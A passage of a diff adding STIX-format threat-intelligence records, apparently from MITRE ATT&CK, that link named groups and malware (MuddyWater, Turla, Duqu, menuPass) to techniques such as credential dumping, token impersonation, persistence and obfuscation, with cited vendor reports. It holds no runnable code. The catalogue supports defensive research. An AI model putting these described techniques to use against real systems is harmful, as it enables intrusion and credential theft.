"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2019-06-28T15:24:31.851Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c151ee77-66ca-4b86-bc13-84759cf71321", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the registered user and primary owner name via WMI.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0825b101-deff-45cf-867c-af3ccb233744", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) achieves persistence by adding a shortcut of itself to the startup path in the Registry.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d490bb02-7dfc-4808-8109-29a3871f830a", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of using its command and control protocol over port 443. However, Duqu is also capable of encapsulating its command protocol over standard application layer protocols. The Duqu command and control protocol implements many of the same features as TCP and is a reliable transport protocol.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.144Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a .NET tool to dump data from Microsoft Exchange mailboxes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--021885d8-90a5-4d70-91de-869783cd57d3", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.326Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:14:10.549Z", + "type": "relationship", + "id": "relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [Mimikatz](https://attack.mitre.org/software/S0002), [LaZagne](https://attack.mitre.org/software/S0349), and other tools, including by dumping passwords saved in victim web browsers and email.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--beda360a-6477-48b9-b7d1-4643d02bc3c9", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "modified": "2019-06-28T15:30:58.478Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used the command-line interface.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17bc0957-1509-4faf-bb51-a6a9e1959978", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.438Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can delete files off the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6557436-3564-4128-b93e-2c246ec00834", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) can collect CPU and architecture information from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47b7e027-4208-4ed6-b4ae-46941fed16be", + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain information about process integrity levels.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to extract cached credentials from Windows systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) is obfuscated using the open source ConfuserEx protector. [Kazuar](https://attack.mitre.org/software/S0265) also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--464e688d-b243-4619-a60b-1be6e2d6a827", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.604Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:29:26.502Z", + "type": "relationship", + "id": "relationship--cbdb4f47-3a89-475a-bf1f-59d062dbd925", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-10-17T00:14:20.652Z", + "source_ref": "course-of-action--a222db25-cafb-44b1-a64a-20eab050514c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:17:59.077Z", + "type": "relationship", + "id": "relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--998650da-f301-46be-ab18-38d14359530b", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:31.868Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, and in the Program Files directory. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also searched for files matching the lPH*.dll pattern.", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "modified": "2019-07-14T21:04:44.772Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use cmd.exe to download and execute payloads and to execute commands on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5096cf5d-aedb-49a5-baa7-4cc9538fa1cd", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.679Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a script to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac7d5b88-7929-4f64-abcd-8219caafac24", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.592Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If installing itself as a service fails, [Elise](https://attack.mitre.org/software/S0081) instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.760Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) sends an OS version identifier in its beacons.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27375058-3002-4fc2-a964-a1e336a10a2a", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:24:57.471Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bcdf2779-c5a2-40b3-88b6-0857711c1cfe", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about the logged on user both locally and for Remote Desktop sessions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.631Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) tools attempt to spoof anti-virus processes as a means of self-defense.", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df69c29c-01c4-4541-988e-8a5765439d56", + "external_references": [ + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses a custom UDP protocol to communicate.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--042d7190-3210-4303-94b6-b56d5a2b572a", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect network configuration data by running ipconfig /all on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used malicious macros embedded inside Office documents to execute files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ffee57f7-edea-499d-8912-88cd3204648a", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:31.893Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of running WMI queries.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + 